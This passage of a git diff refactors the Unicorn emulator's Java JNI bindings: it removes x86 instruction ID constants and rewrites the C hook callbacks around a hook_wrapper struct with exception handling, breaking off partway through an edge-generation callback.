- public static final int UC_X86_INS_VPLZCNTQ = 1100; - public static final int UC_X86_INS_VPMACSDD = 1101; - public static final int UC_X86_INS_VPMACSDQH = 1102; - public static final int UC_X86_INS_VPMACSDQL = 1103; - public static final int UC_X86_INS_VPMACSSDD = 1104; - public static final int UC_X86_INS_VPMACSSDQH = 1105; - public static final int UC_X86_INS_VPMACSSDQL = 1106; - public static final int UC_X86_INS_VPMACSSWD = 1107; - public static final int UC_X86_INS_VPMACSSWW = 1108; - public static final int UC_X86_INS_VPMACSWD = 1109; - public static final int UC_X86_INS_VPMACSWW = 1110; - public static final int UC_X86_INS_VPMADCSSWD = 1111; - public static final int UC_X86_INS_VPMADCSWD = 1112; - public static final int UC_X86_INS_VPMADDUBSW = 1113; - public static final int UC_X86_INS_VPMADDWD = 1114; - public static final int UC_X86_INS_VPMASKMOVD = 1115; - public static final int UC_X86_INS_VPMASKMOVQ = 1116; - public static final int UC_X86_INS_VPMAXSB = 1117; - public static final int UC_X86_INS_VPMAXSD = 1118; - public static final int UC_X86_INS_VPMAXSQ = 1119; - public static final int UC_X86_INS_VPMAXSW = 1120; - public static final int UC_X86_INS_VPMAXUB = 1121; - public static final int UC_X86_INS_VPMAXUD = 1122; - public static final int UC_X86_INS_VPMAXUQ = 1123; - public static final int UC_X86_INS_VPMAXUW = 1124; - public static final int UC_X86_INS_VPMINSB = 1125; - public static final int UC_X86_INS_VPMINSD = 1126; - public static final int UC_X86_INS_VPMINSQ = 1127; - public static final int UC_X86_INS_VPMINSW = 1128; - public static final int UC_X86_INS_VPMINUB = 1129; - public static final int UC_X86_INS_VPMINUD = 1130; - public static final int UC_X86_INS_VPMINUQ = 1131; - public static final int UC_X86_INS_VPMINUW = 1132; - public static final int UC_X86_INS_VPMOVDB = 1133; - public static final int UC_X86_INS_VPMOVDW = 1134; - public static final int UC_X86_INS_VPMOVM2B = 1135; - public static final int UC_X86_INS_VPMOVM2D = 1136; - public static final int UC_X86_INS_VPMOVM2Q = 1137; - public static final int UC_X86_INS_VPMOVM2W = 1138; - public static final int UC_X86_INS_VPMOVMSKB = 1139; - public static final int UC_X86_INS_VPMOVQB = 1140; - public static final int UC_X86_INS_VPMOVQD = 1141; - public static final int UC_X86_INS_VPMOVQW = 1142; - public static final int UC_X86_INS_VPMOVSDB = 1143; - public static final int UC_X86_INS_VPMOVSDW = 1144; - public static final int UC_X86_INS_VPMOVSQB = 1145; - public static final int UC_X86_INS_VPMOVSQD = 1146; - public static final int UC_X86_INS_VPMOVSQW = 1147; - public static final int UC_X86_INS_VPMOVSXBD = 1148; - public static final int UC_X86_INS_VPMOVSXBQ = 1149; - public static final int UC_X86_INS_VPMOVSXBW = 1150; - public static final int UC_X86_INS_VPMOVSXDQ = 1151; - public static final int UC_X86_INS_VPMOVSXWD = 1152; - public static final int UC_X86_INS_VPMOVSXWQ = 1153; - public static final int UC_X86_INS_VPMOVUSDB = 1154; - public static final int UC_X86_INS_VPMOVUSDW = 1155; - public static final int UC_X86_INS_VPMOVUSQB = 1156; - public static final int UC_X86_INS_VPMOVUSQD = 1157; - public static final int UC_X86_INS_VPMOVUSQW = 1158; - public static final int UC_X86_INS_VPMOVZXBD = 1159; - public static final int UC_X86_INS_VPMOVZXBQ = 1160; - public static final int UC_X86_INS_VPMOVZXBW = 1161; - public static final int UC_X86_INS_VPMOVZXDQ = 1162; - public static final int UC_X86_INS_VPMOVZXWD = 1163; - public static final int UC_X86_INS_VPMOVZXWQ = 1164; - public static final int UC_X86_INS_VPMULDQ = 1165; - public static final int UC_X86_INS_VPMULHRSW = 1166; - public static final int UC_X86_INS_VPMULHUW = 1167; - public static final int UC_X86_INS_VPMULHW = 1168; - public static final int UC_X86_INS_VPMULLD = 1169; - public static final int UC_X86_INS_VPMULLQ = 1170; - public static final int UC_X86_INS_VPMULLW = 1171; - public static final int UC_X86_INS_VPMULUDQ = 1172; - public static final int UC_X86_INS_VPORD = 1173; - public static final int UC_X86_INS_VPORQ = 1174; - public static final int UC_X86_INS_VPOR = 1175; - public static final int UC_X86_INS_VPPERM = 1176; - public static final int UC_X86_INS_VPROTB = 1177; - public static final int UC_X86_INS_VPROTD = 1178; - public static final int UC_X86_INS_VPROTQ = 1179; - public static final int UC_X86_INS_VPROTW = 1180; - public static final int UC_X86_INS_VPSADBW = 1181; - public static final int UC_X86_INS_VPSCATTERDD = 1182; - public static final int UC_X86_INS_VPSCATTERDQ = 1183; - public static final int UC_X86_INS_VPSCATTERQD = 1184; - public static final int UC_X86_INS_VPSCATTERQQ = 1185; - public static final int UC_X86_INS_VPSHAB = 1186; - public static final int UC_X86_INS_VPSHAD = 1187; - public static final int UC_X86_INS_VPSHAQ = 1188; - public static final int UC_X86_INS_VPSHAW = 1189; - public static final int UC_X86_INS_VPSHLB = 1190; - public static final int UC_X86_INS_VPSHLD = 1191; - public static final int UC_X86_INS_VPSHLQ = 1192; - public static final int UC_X86_INS_VPSHLW = 1193; - public static final int UC_X86_INS_VPSHUFB = 1194; - public static final int UC_X86_INS_VPSHUFD = 1195; - public static final int UC_X86_INS_VPSHUFHW = 1196; - public static final int UC_X86_INS_VPSHUFLW = 1197; - public static final int UC_X86_INS_VPSIGNB = 1198; - public static final int UC_X86_INS_VPSIGND = 1199; - public static final int UC_X86_INS_VPSIGNW = 1200; - public static final int UC_X86_INS_VPSLLDQ = 1201; - public static final int UC_X86_INS_VPSLLD = 1202; - public static final int UC_X86_INS_VPSLLQ = 1203; - public static final int UC_X86_INS_VPSLLVD = 1204; - public static final int UC_X86_INS_VPSLLVQ = 1205; - public static final int UC_X86_INS_VPSLLW = 1206; - public static final int UC_X86_INS_VPSRAD = 1207; - public static final int UC_X86_INS_VPSRAQ = 1208; - public static final int UC_X86_INS_VPSRAVD = 1209; - public static final int UC_X86_INS_VPSRAVQ = 1210; - public static final int UC_X86_INS_VPSRAW = 1211; - public static final int UC_X86_INS_VPSRLDQ = 1212; - public static final int UC_X86_INS_VPSRLD = 1213; - public static final int UC_X86_INS_VPSRLQ = 1214; - public static final int UC_X86_INS_VPSRLVD = 1215; - public static final int UC_X86_INS_VPSRLVQ = 1216; - public static final int UC_X86_INS_VPSRLW = 1217; - public static final int UC_X86_INS_VPSUBB = 1218; - public static final int UC_X86_INS_VPSUBD = 1219; - public static final int UC_X86_INS_VPSUBQ = 1220; - public static final int UC_X86_INS_VPSUBSB = 1221; - public static final int UC_X86_INS_VPSUBSW = 1222; - public static final int UC_X86_INS_VPSUBUSB = 1223; - public static final int UC_X86_INS_VPSUBUSW = 1224; - public static final int UC_X86_INS_VPSUBW = 1225; - public static final int UC_X86_INS_VPTESTMD = 1226; - public static final int UC_X86_INS_VPTESTMQ = 1227; - public static final int UC_X86_INS_VPTESTNMD = 1228; - public static final int UC_X86_INS_VPTESTNMQ = 1229; - public static final int UC_X86_INS_VPTEST = 1230; - public static final int UC_X86_INS_VPUNPCKHBW = 1231; - public static final int UC_X86_INS_VPUNPCKHDQ = 1232; - public static final int UC_X86_INS_VPUNPCKHQDQ = 1233; - public static final int UC_X86_INS_VPUNPCKHWD = 1234; - public static final int UC_X86_INS_VPUNPCKLBW = 1235; - public static final int UC_X86_INS_VPUNPCKLDQ = 1236; - public static final int UC_X86_INS_VPUNPCKLQDQ = 1237; - public static final int UC_X86_INS_VPUNPCKLWD = 1238; - public static final int UC_X86_INS_VPXORD = 1239; - public static final int UC_X86_INS_VPXORQ = 1240; - public static final int UC_X86_INS_VPXOR = 1241; - public static final int UC_X86_INS_VRCP14PD = 1242; - public static final int UC_X86_INS_VRCP14PS = 1243; - public static final int UC_X86_INS_VRCP14SD = 1244; - public static final int UC_X86_INS_VRCP14SS = 1245; - public static final int UC_X86_INS_VRCP28PD = 1246; - public static final int UC_X86_INS_VRCP28PS = 1247; - public static final int UC_X86_INS_VRCP28SD = 1248; - public static final int UC_X86_INS_VRCP28SS = 1249; - public static final int UC_X86_INS_VRCPPS = 1250; - public static final int UC_X86_INS_VRCPSS = 1251; - public static final int UC_X86_INS_VRNDSCALEPD = 1252; - public static final int UC_X86_INS_VRNDSCALEPS = 1253; - public static final int UC_X86_INS_VRNDSCALESD = 1254; - public static final int UC_X86_INS_VRNDSCALESS = 1255; - public static final int UC_X86_INS_VROUNDPD = 1256; - public static final int UC_X86_INS_VROUNDPS = 1257; - public static final int UC_X86_INS_VROUNDSD = 1258; - public static final int UC_X86_INS_VROUNDSS = 1259; - public static final int UC_X86_INS_VRSQRT14PD = 1260; - public static final int UC_X86_INS_VRSQRT14PS = 1261; - public static final int UC_X86_INS_VRSQRT14SD = 1262; - public static final int UC_X86_INS_VRSQRT14SS = 1263; - public static final int UC_X86_INS_VRSQRT28PD = 1264; - public static final int UC_X86_INS_VRSQRT28PS = 1265; - public static final int UC_X86_INS_VRSQRT28SD = 1266; - public static final int UC_X86_INS_VRSQRT28SS = 1267; - public static final int UC_X86_INS_VRSQRTPS = 1268; - public static final int UC_X86_INS_VRSQRTSS = 1269; - public static final int UC_X86_INS_VSCATTERDPD = 1270; - public static final int UC_X86_INS_VSCATTERDPS = 1271; - public static final int UC_X86_INS_VSCATTERPF0DPD = 1272; - public static final int UC_X86_INS_VSCATTERPF0DPS = 1273; - public static final int UC_X86_INS_VSCATTERPF0QPD = 1274; - public static final int UC_X86_INS_VSCATTERPF0QPS = 1275; - public static final int UC_X86_INS_VSCATTERPF1DPD = 1276; - public static final int UC_X86_INS_VSCATTERPF1DPS = 1277; - public static final int UC_X86_INS_VSCATTERPF1QPD = 1278; - public static final int UC_X86_INS_VSCATTERPF1QPS = 1279; - public static final int UC_X86_INS_VSCATTERQPD = 1280; - public static final int UC_X86_INS_VSCATTERQPS = 1281; - public static final int UC_X86_INS_VSHUFPD = 1282; - public static final int UC_X86_INS_VSHUFPS = 1283; - public static final int UC_X86_INS_VSQRTPD = 1284; - public static final int UC_X86_INS_VSQRTPS = 1285; - public static final int UC_X86_INS_VSQRTSD = 1286; - public static final int UC_X86_INS_VSQRTSS = 1287; - public static final int UC_X86_INS_VSTMXCSR = 1288; - public static final int UC_X86_INS_VSUBPD = 1289; - public static final int UC_X86_INS_VSUBPS = 1290; - public static final int UC_X86_INS_VSUBSD = 1291; - public static final int UC_X86_INS_VSUBSS = 1292; - public static final int UC_X86_INS_VTESTPD = 1293; - public static final int UC_X86_INS_VTESTPS = 1294; - public static final int UC_X86_INS_VUNPCKHPD = 1295; - public static final int UC_X86_INS_VUNPCKHPS = 1296; - public static final int UC_X86_INS_VUNPCKLPD = 1297; - public static final int UC_X86_INS_VUNPCKLPS = 1298; - public static final int UC_X86_INS_VZEROALL = 1299; - public static final int UC_X86_INS_VZEROUPPER = 1300; - public static final int UC_X86_INS_WAIT = 1301; - public static final int UC_X86_INS_WBINVD = 1302; - public static final int UC_X86_INS_WRFSBASE = 1303; - public static final int UC_X86_INS_WRGSBASE = 1304; - public static final int UC_X86_INS_WRMSR = 1305; - public static final int UC_X86_INS_XABORT = 1306; - public static final int UC_X86_INS_XACQUIRE = 1307; - public static final int UC_X86_INS_XBEGIN = 1308; - public static final int UC_X86_INS_XCHG = 1309; - public static final int UC_X86_INS_XCRYPTCBC = 1310; - public static final int UC_X86_INS_XCRYPTCFB = 1311; - public static final int UC_X86_INS_XCRYPTCTR = 1312; - public static final int UC_X86_INS_XCRYPTECB = 1313; - public static final int UC_X86_INS_XCRYPTOFB = 1314; - public static final int UC_X86_INS_XEND = 1315; - public static final int UC_X86_INS_XGETBV = 1316; - public static final int UC_X86_INS_XLATB = 1317; - public static final int UC_X86_INS_XRELEASE = 1318; - public static final int UC_X86_INS_XRSTOR = 1319; - public static final int UC_X86_INS_XRSTOR64 = 1320; - public static final int UC_X86_INS_XRSTORS = 1321; - public static final int UC_X86_INS_XRSTORS64 = 1322; - public static final int UC_X86_INS_XSAVE = 1323; - public static final int UC_X86_INS_XSAVE64 = 1324; - public static final int UC_X86_INS_XSAVEC = 1325; - public static final int UC_X86_INS_XSAVEC64 = 1326; - public static final int UC_X86_INS_XSAVEOPT = 1327; - public static final int UC_X86_INS_XSAVEOPT64 = 1328; - public static final int UC_X86_INS_XSAVES = 1329; - public static final int UC_X86_INS_XSAVES64 = 1330; - public static final int UC_X86_INS_XSETBV = 1331; - public static final int UC_X86_INS_XSHA1 = 1332; - public static final int UC_X86_INS_XSHA256 = 1333; - public static final int UC_X86_INS_XSTORE = 1334; - public static final int UC_X86_INS_XTEST = 1335; - public static final int UC_X86_INS_FDISI8087_NOP = 1336; - public static final int UC_X86_INS_FENI8087_NOP = 1337; - public static final int UC_X86_INS_ENDING = 1338; - -} diff --git a/bindings/java/unicorn_Unicorn.c b/bindings/java/unicorn_Unicorn.c index fb7f220f27..61cf93ba09 100644 --- a/bindings/java/unicorn_Unicorn.c +++ b/bindings/java/unicorn_Unicorn.c @@ -2,7 +2,7 @@ Java bindings for the Unicorn Emulator Engine -Copyright(c) 2015 Chris Eagle +Copyright(c) 2023 Robert Xiao This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License @@ -19,6 +19,9 @@ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ +/** Note: JNI function signatures and names must be kept in sync with + unicorn_Unicorn.h, which is in turn auto-generated by `javac -h`. */ + #include #include "unicorn/platform.h" #include @@ -28,768 +31,1619 @@ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. #include #include "unicorn_Unicorn.h" -//cache jmethodID values as we look them up -static jmethodID invokeBlockCallbacks = 0; -static jmethodID invokeInterruptCallbacks = 0; -static jmethodID invokeCodeCallbacks = 0; - -static jmethodID invokeEventMemCallbacks = 0; -static jmethodID invokeReadCallbacks = 0; -static jmethodID invokeWriteCallbacks = 0; -static jmethodID invokeInCallbacks = 0; -static jmethodID invokeOutCallbacks = 0; -static jmethodID invokeSyscallCallbacks = 0; - -static JavaVM* cachedJVM; - -JNIEXPORT jint JNICALL JNI_OnLoad(JavaVM *jvm, void *reserved) { - cachedJVM = jvm; - return JNI_VERSION_1_6; -} - -// Callback function for tracing code (UC_HOOK_CODE & UC_HOOK_BLOCK) -// @address: address where the code is being executed -// @size: size of machine instruction being executed -// @user_data: user data passed to tracing APIs. -static void cb_hookcode(uc_engine *eng, uint64_t address, uint32_t size, void *user_data) { - JNIEnv *env; - (*cachedJVM)->AttachCurrentThread(cachedJVM, (void **)&env, NULL); - jclass clz = (*env)->FindClass(env, "unicorn/Unicorn"); - if ((*env)->ExceptionCheck(env)) { - return; - } - (*env)->CallStaticVoidMethod(env, clz, invokeCodeCallbacks, (jlong)eng, (jlong)address, (int)size); - (*cachedJVM)->DetachCurrentThread(cachedJVM); -} - -// Callback function for tracing code (UC_HOOK_CODE & UC_HOOK_BLOCK) -// @address: address where the code is being executed -// @size: size of machine instruction being executed -// @user_data: user data passed to tracing APIs. -static void cb_hookblock(uc_engine *eng, uint64_t address, uint32_t size, void *user_data) { - JNIEnv *env; - (*cachedJVM)->AttachCurrentThread(cachedJVM, (void **)&env, NULL); - jclass clz = (*env)->FindClass(env, "unicorn/Unicorn"); - if ((*env)->ExceptionCheck(env)) { - return; - } - (*env)->CallStaticVoidMethod(env, clz, invokeBlockCallbacks, (jlong)eng, (jlong)address, (int)size); - (*cachedJVM)->DetachCurrentThread(cachedJVM); -} - -// Callback function for tracing interrupts (for uc_hook_intr()) -// @intno: interrupt number -// @user_data: user data passed to tracing APIs. -static void cb_hookintr(uc_engine *eng, uint32_t intno, void *user_data) { - JNIEnv *env; - (*cachedJVM)->AttachCurrentThread(cachedJVM, (void **)&env, NULL); - jclass clz = (*env)->FindClass(env, "unicorn/Unicorn"); - if ((*env)->ExceptionCheck(env)) { - return; - } - (*env)->CallStaticVoidMethod(env, clz, invokeInterruptCallbacks, (jlong)eng, (int)intno); - (*cachedJVM)->DetachCurrentThread(cachedJVM); -} - -// Callback function for tracing IN instruction of X86 -// @port: port number -// @size: data size (1/2/4) to be read from this port -// @user_data: user data passed to tracing APIs. -static uint32_t cb_insn_in(uc_engine *eng, uint32_t port, int size, void *user_data) { - JNIEnv *env; - uint32_t res = 0; - (*cachedJVM)->AttachCurrentThread(cachedJVM, (void **)&env, NULL); - jclass clz = (*env)->FindClass(env, "unicorn/Unicorn"); - if ((*env)->ExceptionCheck(env)) { - return 0; - } - res = (uint32_t)(*env)->CallStaticIntMethod(env, clz, invokeInCallbacks, (jlong)eng, (jint)port, (jint)size); - (*cachedJVM)->DetachCurrentThread(cachedJVM); - return res; -} - -// x86's handler for OUT -// @port: port number -// @size: data size (1/2/4) to be written to this port -// @value: data value to be written to this port -static void cb_insn_out(uc_engine *eng, uint32_t port, int size, uint32_t value, void *user_data) { - JNIEnv *env; - (*cachedJVM)->AttachCurrentThread(cachedJVM, (void **)&env, NULL); - jclass clz = (*env)->FindClass(env, "unicorn/Unicorn"); - if ((*env)->ExceptionCheck(env)) { - return; - } - (*env)->CallStaticVoidMethod(env, clz, invokeOutCallbacks, (jlong)eng, (jint)port, (jint)size, (jint)value); - (*cachedJVM)->DetachCurrentThread(cachedJVM); -} - -// x86's handler for SYSCALL/SYSENTER -static void cb_insn_syscall(uc_engine *eng, void *user_data) { - JNIEnv *env; - (*cachedJVM)->AttachCurrentThread(cachedJVM, (void **)&env, NULL); - jclass clz = (*env)->FindClass(env, "unicorn/Unicorn"); - if ((*env)->ExceptionCheck(env)) { - return; - } - (*env)->CallStaticVoidMethod(env, clz, invokeSyscallCallbacks, (jlong)eng); - (*cachedJVM)->DetachCurrentThread(cachedJVM); -} - -// Callback function for hooking memory (UC_HOOK_MEM_*) -// @type: this memory is being READ, or WRITE -// @address: address where the code is being executed -// @size: size of data being read or written -// @value: value of data being written to memory, or irrelevant if type = READ. -// @user_data: user data passed to tracing APIs -static void cb_hookmem(uc_engine *eng, uc_mem_type type, - uint64_t address, int size, int64_t value, void *user_data) { - JNIEnv *env; - (*cachedJVM)->AttachCurrentThread(cachedJVM, (void **)&env, NULL); - jclass clz = (*env)->FindClass(env, "unicorn/Unicorn"); - if ((*env)->ExceptionCheck(env)) { - return; - } - switch (type) { - case UC_MEM_READ: - (*env)->CallStaticVoidMethod(env, clz, invokeReadCallbacks, (jlong)eng, (jlong)address, (int)size); - break; - case UC_MEM_WRITE: - (*env)->CallStaticVoidMethod(env, clz, invokeWriteCallbacks, (jlong)eng, (jlong)address, (int)size, (jlong)value); - break; - } - (*cachedJVM)->DetachCurrentThread(cachedJVM); -} - -// Callback function for handling memory events (for UC_HOOK_MEM_UNMAPPED) -// @type: this memory is being READ, or WRITE -// @address: address where the code is being executed -// @size: size of data being read or written -// @value: value of data being written to memory, or irrelevant if type = READ. -// @user_data: user data passed to tracing APIs -// @return: return true to continue, or false to stop program (due to invalid memory). -static bool cb_eventmem(uc_engine *eng, uc_mem_type type, - uint64_t address, int size, int64_t value, void *user_data) { - JNIEnv *env; - (*cachedJVM)->AttachCurrentThread(cachedJVM, (void **)&env, NULL); - jclass clz = (*env)->FindClass(env, "unicorn/Unicorn"); - if ((*env)->ExceptionCheck(env)) { - return false; - } - jboolean res = (*env)->CallStaticBooleanMethod(env, clz, invokeEventMemCallbacks, (jlong)eng, (int)type, (jlong)address, (int)size, (jlong)value); - (*cachedJVM)->DetachCurrentThread(cachedJVM); - return res; -} - -static void throwException(JNIEnv *env, uc_err err) { - //throw exception - jclass clazz = (*env)->FindClass(env, "unicorn/UnicornException"); - if (err != UC_ERR_OK) { - const char *msg = uc_strerror(err); - (*env)->ThrowNew(env, clazz, msg); - } -} - -static uc_engine *getEngine(JNIEnv *env, jobject self) { - static int haveFid = 0; - static jfieldID fid; - if (haveFid == 0) { - //cache the field id - jclass clazz = (*env)->GetObjectClass(env, self); - fid = (*env)->GetFieldID(env, clazz, "eng", "J"); - haveFid = 1; - } - return (uc_engine *)(*env)->GetLongField(env, self, fid); -} - -/* - * Class: unicorn_Unicorn - * Method: reg_write_num - * Signature: (ILjava/lang/Number;)V - */ -JNIEXPORT void JNICALL Java_unicorn_Unicorn_reg_1write_1num - (JNIEnv *env, jobject self, jint regid, jobject value) { - uc_engine *eng = getEngine(env, self); - - jclass clz = (*env)->FindClass(env, "java/lang/Number"); - if ((*env)->ExceptionCheck(env)) { - return; - } - - jmethodID longValue = (*env)->GetMethodID(env, clz, "longValue", "()J"); - jlong longVal = (*env)->CallLongMethod(env, value, longValue); - uc_err err = uc_reg_write(eng, regid, &longVal); - if (err != UC_ERR_OK) { - throwException(env, err); - } +static JavaVM *cachedJVM; + +JNIEXPORT jint JNICALL JNI_OnLoad(JavaVM *jvm, void *reserved) +{ + cachedJVM = jvm; + return JNI_VERSION_1_6; +} + +static void throwUnicornException(JNIEnv *env, uc_err err) +{ + jclass clazz = (*env)->FindClass(env, "unicorn/UnicornException"); + const char *msg = uc_strerror(err); + (*env)->ThrowNew(env, clazz, msg); +} + +static void throwCustomUnicornException(JNIEnv *env, const char *msg) +{ + jclass clazz = (*env)->FindClass(env, "unicorn/UnicornException"); + (*env)->ThrowNew(env, clazz, msg); +} + +static void throwOutOfMemoryError(JNIEnv *env, char *message) +{ + jclass clazz = (*env)->FindClass(env, "java/lang/OutOfMemoryError"); + (*env)->ThrowNew(env, clazz, message); +} + +static jobject makeX86_MMR(JNIEnv *env, const uc_x86_mmr *mmr) +{ + if (mmr == NULL) { + return NULL; + } + + static jclass clazz; + if (!clazz) { + clazz = (*env)->FindClass(env, "unicorn/X86_MMR"); + if (!clazz) + return NULL; + clazz = (*env)->NewGlobalRef(env, clazz); + if (!clazz) + return NULL; + } + + static jmethodID clazzInit; + if (!clazzInit) { + clazzInit = (*env)->GetMethodID(env, clazz, "", "(JIIS)V"); + if (!clazzInit) + return NULL; + } + + return (*env)->NewObject(env, clazz, clazzInit, (jlong)mmr->base, + (jint)mmr->limit, (jint)mmr->flags, + (jshort)mmr->selector); +} + +static jobject makeArm64_CP(JNIEnv *env, const uc_arm64_cp_reg *cp_reg) +{ + if (cp_reg == NULL) { + return NULL; + } + + static jclass clazz; + if (!clazz) { + clazz = (*env)->FindClass(env, "unicorn/Arm64_CP"); + if (!clazz) + return NULL; + clazz = (*env)->NewGlobalRef(env, clazz); + if (!clazz) + return NULL; + } + + static jmethodID clazzInit; + if (!clazzInit) { + clazzInit = (*env)->GetMethodID(env, clazz, "", "(IIIIIJ)V"); + if (!clazzInit) + return NULL; + } + + return (*env)->NewObject(env, clazz, clazzInit, (jint)cp_reg->crn, + (jint)cp_reg->crm, (jint)cp_reg->op0, + (jint)cp_reg->op1, (jint)cp_reg->op2, + (jlong)cp_reg->val); +} + +static jobject makeTranslationBlock(JNIEnv *env, const uc_tb *tb) +{ + if (tb == NULL) { + return NULL; + } + + static jclass clazz; + if (!clazz) { + clazz = (*env)->FindClass(env, "unicorn/TranslationBlock"); + if (!clazz) + return NULL; + clazz = (*env)->NewGlobalRef(env, clazz); + if (!clazz) + return NULL; + } + + static jmethodID clazzInit; + if (!clazzInit) { + clazzInit = (*env)->GetMethodID(env, clazz, "", "(JII)V"); + if (!clazzInit) + return NULL; + } + + return (*env)->NewObject(env, clazz, clazzInit, (jlong)tb->pc, + (jint)tb->icount, (jint)tb->size); +} + +struct hook_wrapper { + uc_hook uc_hh; + jobject unicorn; + jobject hook_obj; + jmethodID hook_meth; + jobject user_data; +}; + +static bool hookErrorCheck(uc_engine *uc, JNIEnv *env) +{ + /* If a hook throws an exception, we want to report it as soon as possible. + Additionally, once an exception is set, calling further hooks is + inadvisable. Therefore, try and stop the emulator as soon as an exception + is detected. + */ + if ((*env)->ExceptionCheck(env)) { + uc_emu_stop(uc); + return true; + } + return false; +} + +static const char *const sig_InterruptHook = + "(Lunicorn/Unicorn;ILjava/lang/Object;)V"; +static void cb_hookintr(uc_engine *uc, uint32_t intno, void *user_data) +{ + JNIEnv *env; + (*cachedJVM)->AttachCurrentThread(cachedJVM, (void **)&env, NULL); + struct hook_wrapper *hh = user_data; + (*env)->CallVoidMethod(env, hh->hook_obj, hh->hook_meth, hh->unicorn, + (jint)intno, hh->user_data); + hookErrorCheck(uc, env); +} + +static const char *const sig_InHook = + "(Lunicorn/Unicorn;IILjava/lang/Object;)I"; +static uint32_t cb_insn_in(uc_engine *uc, uint32_t port, int size, + void *user_data) +{ + JNIEnv *env; + (*cachedJVM)->AttachCurrentThread(cachedJVM, (void **)&env, NULL); + struct hook_wrapper *hh = user_data; + jint result = + (*env)->CallIntMethod(env, hh->hook_obj, hh->hook_meth, hh->unicorn, + (jint)port, (jint)size, hh->user_data); + if (hookErrorCheck(uc, env)) { + return 0; + } + return (uint32_t)result; +} + +static const char *const sig_OutHook = + "(Lunicorn/Unicorn;IIILjava/lang/Object;)V"; +static void cb_insn_out(uc_engine *uc, uint32_t port, int size, uint32_t value, + void *user_data) +{ + JNIEnv *env; + (*cachedJVM)->AttachCurrentThread(cachedJVM, (void **)&env, NULL); + struct hook_wrapper *hh = user_data; + (*env)->CallVoidMethod(env, hh->hook_obj, hh->hook_meth, hh->unicorn, + (jint)port, (jint)size, (jint)value, hh->user_data); + hookErrorCheck(uc, env); +} + +static const char *const sig_SyscallHook = + "(Lunicorn/Unicorn;Ljava/lang/Object;)V"; +static void cb_insn_syscall(struct uc_struct *uc, void *user_data) +{ + JNIEnv *env; + (*cachedJVM)->AttachCurrentThread(cachedJVM, (void **)&env, NULL); + struct hook_wrapper *hh = user_data; + (*env)->CallVoidMethod(env, hh->hook_obj, hh->hook_meth, hh->unicorn, + hh->user_data); + hookErrorCheck(uc, env); } -/* - * Class: unicorn_Unicorn - * Method: reg_write_mmr - * Signature: (ILunicorn/X86_MMR;)V - */ -JNIEXPORT void JNICALL Java_unicorn_Unicorn_reg_1write_1mmr - (JNIEnv *env, jobject self, jint regid, jobject value) { - uc_engine *eng = getEngine(env, self); - uc_x86_mmr mmr; - - jclass clz = (*env)->FindClass(env, "unicorn/X86_MMR"); - if ((*env)->ExceptionCheck(env)) { - return; - } +static const char *const sig_CpuidHook = + "(Lunicorn/Unicorn;Ljava/lang/Object;)I"; +static int cb_insn_cpuid(struct uc_struct *uc, void *user_data) +{ + JNIEnv *env; + (*cachedJVM)->AttachCurrentThread(cachedJVM, (void **)&env, NULL); + struct hook_wrapper *hh = user_data; + jint result = (*env)->CallIntMethod(env, hh->hook_obj, hh->hook_meth, + hh->unicorn, hh->user_data); + if (hookErrorCheck(uc, env)) { + return 0; + } + return (int)result; +} + +static const char *const sig_Arm64SysHook = + "(Lunicorn/Unicorn;ILunicorn/Arm64_CP;Ljava/lang/Object;)I"; +static uint32_t cb_insn_sys(uc_engine *uc, uc_arm64_reg reg, + const uc_arm64_cp_reg *cp_reg, void *user_data) +{ + JNIEnv *env; + (*cachedJVM)->AttachCurrentThread(cachedJVM, (void **)&env, NULL); + struct hook_wrapper *hh = user_data; + jobject jcp_reg = makeArm64_CP(env, cp_reg); + if (!jcp_reg) { + hookErrorCheck(uc, env); + return 0; + } + jint result = + (*env)->CallIntMethod(env, hh->hook_obj, hh->hook_meth, hh->unicorn, + (jint)reg, jcp_reg, hh->user_data); + if (hookErrorCheck(uc, env)) { + return 0; + } + return (uint32_t)result; +} + +static const char *const sig_CodeHook = + "(Lunicorn/Unicorn;JILjava/lang/Object;)V"; +static void cb_hookcode(uc_engine *uc, uint64_t address, uint32_t size, + void *user_data) +{ + JNIEnv *env; + (*cachedJVM)->AttachCurrentThread(cachedJVM, (void **)&env, NULL); + struct hook_wrapper *hh = user_data; + (*env)->CallVoidMethod(env, hh->hook_obj, hh->hook_meth, hh->unicorn, + (jlong)address, (jint)size, hh->user_data); + hookErrorCheck(uc, env); +} + +static const char *const sig_EventMemHook = + "(Lunicorn/Unicorn;IJIJLjava/lang/Object;)Z"; +static bool cb_eventmem(uc_engine *uc, uc_mem_type type, uint64_t address, + int size, int64_t value, void *user_data) +{ + JNIEnv *env; + (*cachedJVM)->AttachCurrentThread(cachedJVM, (void **)&env, NULL); + struct hook_wrapper *hh = user_data; + jboolean result = (*env)->CallBooleanMethod( + env, hh->hook_obj, hh->hook_meth, hh->unicorn, (jint)type, + (jlong)address, (jint)size, (jlong)value, hh->user_data); + if (hookErrorCheck(uc, env)) { + return false; + } + return result != JNI_FALSE; +} + +static const char *const sig_MemHook = + "(Lunicorn/Unicorn;IJIJLjava/lang/Object;)V"; +static void cb_hookmem(uc_engine *uc, uc_mem_type type, uint64_t address, + int size, int64_t value, void *user_data) +{ + JNIEnv *env; + (*cachedJVM)->AttachCurrentThread(cachedJVM, (void **)&env, NULL); + struct hook_wrapper *hh = user_data; + (*env)->CallVoidMethod(env, hh->hook_obj, hh->hook_meth, hh->unicorn, + (jint)type, (jlong)address, (jint)size, (jlong)value, + hh->user_data); + hookErrorCheck(uc, env); +} - jfieldID fid = (*env)->GetFieldID(env, clz, "base", "J"); - mmr.base = (uint64_t)(*env)->GetLongField(env, value, fid); +static const char *const sig_InvalidInstructionHook = + "(Lunicorn/Unicorn;Ljava/lang/Object;)Z"; +static bool cb_hookinsn_invalid(uc_engine *uc, void *user_data) +{ + JNIEnv *env; + (*cachedJVM)->AttachCurrentThread(cachedJVM, (void **)&env, NULL); + struct hook_wrapper *hh = user_data; + jboolean result = (*env)->CallBooleanMethod( + env, hh->hook_obj, hh->hook_meth, hh->unicorn, hh->user_data); + if (hookErrorCheck(uc, env)) { + return false; + } + return result != JNI_FALSE; +} + +static const char *const sig_EdgeGeneratedHook = + "(Lunicorn/Unicorn;Lunicorn/TranslationBlock;" + "Lunicorn/TranslationBlock;Ljava/lang/Object;)V"; +static void cb_edge_gen(uc_engine *uc, uc_tb *cur_tb, uc_tb *prev_tb, + void *user_data) +{ + JNIEnv *env; + (*cachedJVM)->AttachCurrentThread(cachedJVM, (void **)&env, NULL); + 